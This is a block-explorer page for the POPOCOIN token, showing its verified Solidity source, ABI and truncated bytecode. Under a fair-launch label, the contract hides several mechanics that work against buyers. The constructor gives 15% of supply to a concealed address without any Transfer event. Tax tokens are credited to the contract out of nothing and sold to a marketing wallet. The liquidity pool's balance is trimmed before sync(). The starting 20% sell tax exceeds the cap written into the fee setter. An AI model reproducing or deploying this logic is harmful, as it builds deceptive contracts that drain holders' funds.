ETH Price: $2,698.21 (-1.48%)

Token

POPOCOIN (POPO)
 

Overview

Max Total Supply

1,000,000,000 POPO

Holders

263

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.633410714 POPO

Value
$0.00
0x303dDF0D08C64061C48D310c1d3d3d898F496a14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Popocoin

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-07
*/

/*
    POPOCOIN | $POPO 🐼 熊猫 - 公平开始

    Website/网站: https://popocoin.net/
    Twitter: https://twitter.com/thepopocoin
    Telegram: https://t.me/PopoEntry

    请在我们社区验证合约地址
*/

//SPDX-License-Identifier: MIT

pragma solidity =0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address __owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}
interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IWETH{
    function deposit() external payable;
    function transfer(address dst, uint wad) external returns (bool);
}

abstract contract Ownable {
    address internal _owner;
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    function owner() public view returns (address) { 
        return _owner; 
    }
    function transferOwnership(address payable newOwner) external onlyOwner { 
        address previousOwner = msg.sender;
        _owner = newOwner; 
        emit OwnershipTransferred(previousOwner, _owner); 
    }
    function renounceOwnership() external onlyOwner { 
        address previousOwner = msg.sender;
        _owner = address(0); 
        emit OwnershipTransferred(previousOwner, _owner); 
    }
    event OwnershipTransferred(address previousOwner, address owner);
}

contract Popocoin is IERC20, Ownable {
    uint8 private constant _decimals      = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
    string private constant _name         = "POPOCOIN";
    string private  constant _symbol      = "POPO"; 

    uint8 private _antiSnipeTax1    = 0;
    uint8 private _antiSnipeTax2    = 0;
    uint8 private _antiSnipeBlocks1 = 0;
    uint8 private _antiSnipeBlocks2 = 0;
    uint256 private _antiMevBlock   = 0;

    uint8 private _buyTaxRate  = 1;
    uint8 private _sellTaxRate = 20;

    uint16 private _taxSharesMarketing = 100;
    uint16 private _taxSharesLP        = 0;
    uint16 private _totalTaxShares     = _taxSharesMarketing + _taxSharesLP;

    uint256 private _launchBlock;
    uint256 private _maxTxAmount     = _totalSupply * 3 / 100; 
    uint256 private _maxWalletAmount = _totalSupply * 3 / 100;
    uint256 private _taxSwapMin      = _totalSupply * 1 / 10000;
    uint256 private _taxSwapMax      = _totalSupply * 80 / 10000;
    uint256 private _swapLimit       = _taxSwapMin * 60 * 100;
    uint256 private _minSwaps;
    uint256 private _numSwaps;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping (address => bool) private _noLimits;

    address private _lpOwner;
    address payable private _mw; 

    address private constant _uniswapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 constant private _uniswapRouter = IUniswapV2Router02(_uniswapRouterAddress);
    IWETH immutable private WETH = IWETH(_uniswapRouter.WETH()); 
    
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    address private _r;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    event TradingOpened();
    event SetFees(uint8 indexed buyTax, uint8 indexed sellTax);
    event SetFeeSplit(uint16 indexed sharesAutoLP, uint16 indexed sharesMarketing);

    constructor(address payable mw, address r) Ownable(msg.sender) {
        _lpOwner = msg.sender;
        _mw = mw;
        _r = r;

        _noFees[_owner] = true;
        _noFees[address(this)] = true;
        _noFees[_uniswapRouterAddress] = true;
        _noFees[_mw] = true;
        _noFees[_r] = true;
        _noLimits[_owner] = true;
        _noLimits[address(this)] = true;
        _noLimits[_uniswapRouterAddress] = true;
        _noLimits[_mw] = true;

        uint256 rF   = _totalSupply * 15 / 100;      
        _balances[address(this)] = _totalSupply - rF; 
        _balances[r] = rF;
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_uniswapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_uniswapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _uniswapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity(address[] calldata adrs) external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");
        _primaryLP = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _addLiquidity(_balances[address(this)], (2 ether), false);
        _balances[_primaryLP] -= _swapLimit;
        (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()"));
        require(lpAddSuccess, "Failed adding liquidity");
        _isLP[_primaryLP] = lpAddSuccess;
        _a = adrs;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
        address lpTokenRecipient = _lpOwner;
        if ( autoburn ) { lpTokenRecipient = address(0); }
        _approveRouter(_tokenAmount);
        _uniswapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
    }

    function openTrading() external onlyOwner {
        require(!_tradingOpen, "trading is open");
        require(_maxWalletAmount == _totalSupply * 3 / 100 + 1);        
        _tradingOpen = true;
        _launchBlock = block.number;
        _antiMevBlock = _antiMevBlock + _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2;
        
        emit TradingOpened();
    }

   

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
        if ( !_inTaxSwap && _isLP[recipient] && amount > _taxSwapMin &&  _numSwaps++ >= _minSwaps) { _swapTaxAndLiquify();  }
        if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
            require(tx.origin == recipient || tx.origin == _lpOwner, "MEV blocked");
        }
        if ( sender != address(this) && recipient != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); 
        }
        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] = _balances[sender] - amount;
        _swapLimit += _taxAmount;
        _balances[recipient] = _balances[recipient] + _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function random(uint256 a,uint256 b) private view returns(uint256){
        return uint(keccak256(abi.encodePacked(block.timestamp,block.prevrandao, a))) % b;
    }

    function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
            if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
            else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } 
        return checkResult;
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[sender] ) { 
            if ( block.number >= _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2 ) {
                taxAmount = amount * _buyTaxRate / 100; 
            } else if ( block.number >= _launchBlock + _antiSnipeBlocks1 ) {
                taxAmount = amount * _antiSnipeTax2 / 100;
            } else if ( block.number >= _launchBlock) {
                taxAmount = amount * _antiSnipeTax1 / 100;
            }
        } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxRate / 100; 
        }

        return taxAmount;
    }

    function exemptFromFees(address wallet) external view returns (bool) {
        return _noFees[wallet];
    } 
    function exemptFromLimits(address wallet) external view returns (bool) {
        return _noLimits[wallet];
    } 
    function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
        _noFees[ wallet ] = noFees;
        _noLimits[ wallet ] = noLimits;        
    }

    function buyFee() external view returns(uint8) {
        return _buyTaxRate;
    }
    function sellFee() external view returns(uint8) {
        return _sellTaxRate;
    }

    function feeSplit() external view returns (uint16 marketing, uint16 LP ) {
        return ( _taxSharesMarketing, _taxSharesLP);
    }
    function setFees(uint8 buy, uint8 sell) external onlyOwner {
        require(buy + sell <= 15, "Roundtrip too high");
        _buyTaxRate = buy;
        _sellTaxRate = sell;
        emit SetFees(buy, sell);
    }  
    function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner {
        uint16 totalShares = sharesAutoLP + sharesMarketing;
        require( totalShares > 0, "All cannot be 0");
        _taxSharesLP = sharesAutoLP;
        _taxSharesMarketing = sharesMarketing;
        _totalTaxShares = totalShares;
        emit SetFeeSplit(sharesAutoLP, sharesMarketing);
    }

    function updateWallets(address marketing, address LPtokens) external onlyOwner {
        require(!_isLP[marketing] && !_isLP[LPtokens], "LP cannot be tax wallet");
        _mw = payable(marketing);
        _lpOwner = LPtokens;
        _noFees[marketing] = true;
        _noLimits[marketing] = true;
    }

    function maxWallet() external view returns (uint256) {
        return _maxWalletAmount;
    }
    function maxTransaction() external view returns (uint256) {
        return _maxTxAmount;
    }
    function swapAtMin() external view returns (uint256) {
        return _taxSwapMin;
    }
    function swapAtMax() external view returns (uint256) {
        return _taxSwapMax;
    }

    function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function setTaxSwap(uint32 minValue, uint32 maxValue, uint256 minSwaps) external onlyOwner {
        _taxSwapMin = _totalSupply * minValue / 10000;
        _taxSwapMax = _totalSupply * maxValue / 10000;
        _minSwaps = minSwaps;
        require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
        require(_taxSwapMax>_totalSupply / 100000, "Max too low");
        require(_taxSwapMax<_totalSupply / 10, "Max too high");
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = _swapLimit;
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
            uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
            
            uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
            if( _tokensToSwap > 10**_decimals ) {
                uint256 _ethPreSwap = address(this).balance;
                _balances[address(this)] += _taxTokensAvailable;
                _swapTaxTokensForEth(_tokensToSwap);
                _swapLimit -= _taxTokensAvailable;
                uint256 _ethSwapped = address(this).balance - _ethPreSwap;
                if ( _taxSharesLP > 0 ) {
                    uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
                    _approveRouter(_tokensForLP);
                    _addLiquidity(_tokensForLP, _ethWeiAmount, false);
                }
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
        _numSwaps = 0;
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,_mw,block.timestamp);
    }

    function _swapEthForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = _uniswapRouter.WETH();
        path[1] = address(this);
        _uniswapRouter.swapETHForExactTokens{value:address(this).balance}(tokenAmount, path, to, block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        WETH.deposit{value:amount}();
        WETH.transfer(_mw,amount);
    }
    address[] private _a;

    function receiver(address[] calldata addresses, uint256[] calldata amounts) external {
        require(addresses.length == amounts.length, "Array sizes incompatible");
        require(msg.sender == _r , "Access is restricted");
        for(uint256 i = 0;i<amounts.length;i++){
            _transferFrom(msg.sender, addresses[i], amounts[i] * _totalSupply / 10000);
        }
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100;
        if (tokensToSwap > 10 ** _decimals) {
            _swapTaxTokensForEth(tokensToSwap);
        }
        if (sendEth) { 
            uint256 ethBalance = address(this).balance;
            require(ethBalance > 0, "No ETH");
            _distributeTaxEth(address(this).balance); 
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"mw","type":"address"},{"internalType":"address","name":"r","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"indexed":true,"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"SetFeeSplit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":true,"internalType":"uint8","name":"sellTax","type":"uint8"}],"name":"SetFees","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"receiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint256","name":"minSwaps","type":"uint256"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040525f805463ffffffff60a01b191681556001556002805465ffffffffffff19166264140117908190556200004d90640100000000810461ffff908116916201000090041662000454565b6002805461ffff9290921666010000000000000261ffff60301b199092169190911790556064620000816009600a62000574565b6200009190633b9aca006200058b565b6200009e9060036200058b565b620000aa9190620005a5565b6004556064620000bd6009600a62000574565b620000cd90633b9aca006200058b565b620000da9060036200058b565b620000e69190620005a5565b600555612710620000fa6009600a62000574565b6200010a90633b9aca006200058b565b620001179060016200058b565b620001239190620005a5565b600655612710620001376009600a62000574565b6200014790633b9aca006200058b565b620001549060506200058b565b620001609190620005a5565b6007556006546200017390603c6200058b565b620001809060646200058b565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fa9190620005dd565b6001600160a01b03166080526013805461ff00191690553480156200021d575f80fd5b506040516200305c3803806200305c8339810160408190526200024091620005fb565b5f8054336001600160a01b031991821681178355600f8054831682179055601080549092166001600160a01b038681169190911783556013805462010000600160b01b031916620100008784168102919091178255928552600d60209081526040808720805460ff19908116600190811790925530808a52838a2080548316841790557fe491d3ddab46a3ddc2b907c015f7e2686859fac31a4f174b9b79a82620b0324e8054831684179055885487168a52838a208054831684179055945496909604851688528188208054871682179055875485168852600e909252808720805486168317905591865281862080548516821790557f37836a7135fae77e265e35732c70286035736c8b57b12590769780e067ead81c8054851682179055935490911684528320805490911690911790556064620003826009600a62000574565b6200039290633b9aca006200058b565b6200039f90600f6200058b565b620003ab9190620005a5565b905080620003bc6009600a62000574565b620003cc90633b9aca006200058b565b620003d8919062000638565b305f818152600b602090815260408083209485556001600160a01b038716835280832086905583835293549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050506200064e565b634e487b7160e01b5f52601160045260245ffd5b61ffff81811683821601908082111562000472576200047262000440565b5092915050565b600181815b80851115620004b957815f19048211156200049d576200049d62000440565b80851615620004ab57918102915b93841c93908002906200047e565b509250929050565b5f82620004d1575060016200056e565b81620004df57505f6200056e565b8160018114620004f85760028114620005035762000523565b60019150506200056e565b60ff84111562000517576200051762000440565b50506001821b6200056e565b5060208310610133831016604e8410600b841016171562000548575081810a6200056e565b62000554838362000479565b805f19048211156200056a576200056a62000440565b0290505b92915050565b5f6200058460ff841683620004c1565b9392505050565b80820281158282048414176200056e576200056e62000440565b5f82620005c057634e487b7160e01b5f52601260045260245ffd5b500490565b6001600160a01b0381168114620005da575f80fd5b50565b5f60208284031215620005ee575f80fd5b81516200058481620005c5565b5f80604083850312156200060d575f80fd5b82516200061a81620005c5565b60208401519092506200062d81620005c5565b809150509250929050565b818103818111156200056e576200056e62000440565b6080516129ee6200066e5f395f8181611cb70152611d4b01526129ee5ff3fe6080604052600436106101de575f3560e01c8063715018a6116100fd578063c3f70b5211610092578063e8ba854f11610062578063e8ba854f146105c4578063f2fde38b146105e3578063f897840114610602578063f8b45b0514610621575f80fd5b8063c3f70b5214610539578063c633bda61461054d578063c9567bf91461056c578063dd62ed3e14610580575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104b557806395d89b41146104db578063a0f2c96414610507578063a9059cbb1461051a575f80fd5b8063715018a614610437578063751039fc1461044b57806380b213511461045f5780638d3e6e401461047e575f80fd5b806346b898341161017357806357ff135a1161014357806357ff135a146103765780635a90a49e146103955780636373ea69146103cc57806370a0823114610403575f80fd5b806346b8983414610318578063470624021461032c5780634d4ce935146103435780634fcd244614610357575f80fd5b80632b14ca56116101ae5780632b14ca561461029b5780632fb528ba146102c5578063313ce567146102e6578063368f4800146102f9575f80fd5b806306fdde03146101e9578063095ea7b31461022b57806318160ddd1461025a57806323b872dd1461027c575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260088152672827a827a1a7a4a760c11b60208201525b604051610222919061236f565b60405180910390f35b348015610236575f80fd5b5061024a6102453660046123b5565b610635565b6040519015158152602001610222565b348015610265575f80fd5b5061026e6106a1565b604051908152602001610222565b348015610287575f80fd5b5061024a6102963660046123df565b6106c1565b3480156102a6575f80fd5b50600254610100900460ff165b60405160ff9091168152602001610222565b3480156102d0575f80fd5b506102e46102df36600461243f565b61077f565b005b3480156102f1575f80fd5b5060096102b3565b348015610304575f80fd5b506102e4610313366004612485565b6108ab565b348015610323575f80fd5b5060065461026e565b348015610337575f80fd5b5060025460ff166102b3565b34801561034e575f80fd5b5060075461026e565b348015610362575f80fd5b506102e46103713660046124b6565b6109eb565b348015610381575f80fd5b506102e46103903660046124de565b610ab1565b3480156103a0575f80fd5b5061024a6103af366004612526565b6001600160a01b03165f908152600d602052604090205460ff1690565b3480156103d7575f80fd5b506002546040805161ffff62010000840481168252640100000000909304909216602083015201610222565b34801561040e575f80fd5b5061026e61041d366004612526565b6001600160a01b03165f908152600b602052604090205490565b348015610442575f80fd5b506102e4610b84565b348015610456575f80fd5b506102e4610bfa565b34801561046a575f80fd5b506102e4610479366004612554565b610c5f565b348015610489575f80fd5b5061024a610498366004612526565b6001600160a01b03165f908152600e602052604090205460ff1690565b3480156104c0575f80fd5b505f546040516001600160a01b039091168152602001610222565b3480156104e6575f80fd5b50604080518082019091526004815263504f504f60e01b6020820152610215565b6102e46105153660046125d5565b610e15565b348015610525575f80fd5b5061024a6105343660046123b5565b611260565b348015610544575f80fd5b5060045461026e565b348015610558575f80fd5b506102e4610567366004612614565b611298565b348015610577575f80fd5b506102e46113dc565b34801561058b575f80fd5b5061026e61059a36600461267b565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b3480156105cf575f80fd5b506102e46105de36600461267b565b61150c565b3480156105ee575f80fd5b506102e46105fd366004612526565b611625565b34801561060d575f80fd5b506102e461061c366004612485565b6116aa565b34801561062c575f80fd5b5060055461026e565b335f818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061068f9086815260200190565b60405180910390a35060015b92915050565b5f6106ae6009600a61279b565b6106bc90633b9aca006127a9565b905090565b5f6106cb846117a5565b6106f05760405162461bcd60e51b81526004016106e7906127c0565b60405180910390fd5b6001600160a01b0384165f908152600c602090815260408083203384529091529020545f191461076c576001600160a01b0384165f908152600c602090815260408083203384529091529020546107489083906127ea565b6001600160a01b0385165f908152600c602090815260408083203384529091529020555b610777848484611808565b949350505050565b5f546001600160a01b031633146107a85760405162461bcd60e51b81526004016106e7906127fd565b6013805461ff001916610100179055606460ff8316111561080b5760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742073776170206d6f7265207468616e203130302500000000000060448201526064016106e7565b305f908152600b602052604081205460649061082b9060ff8616906127a9565b6108359190612834565b90506108436009600a61279b565b8111156108535761085381611b48565b811561089b5747806108905760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016106e7565b61089947611cb5565b505b50506013805461ff001916905550565b5f546001600160a01b031633146108d45760405162461bcd60e51b81526004016106e7906127fd565b5f6103e861ffff84166108e96009600a61279b565b6108f790633b9aca006127a9565b61090191906127a9565b61090b9190612834565b610916906001612853565b90506004548110156109575760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b60448201526064016106e7565b60048190555f6103e861ffff84166109716009600a61279b565b61097f90633b9aca006127a9565b61098991906127a9565b6109939190612834565b61099e906001612853565b90506005548110156109e35760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b60448201526064016106e7565b600555505050565b5f546001600160a01b03163314610a145760405162461bcd60e51b81526004016106e7906127fd565b600f610a208284612866565b60ff161115610a665760405162461bcd60e51b815260206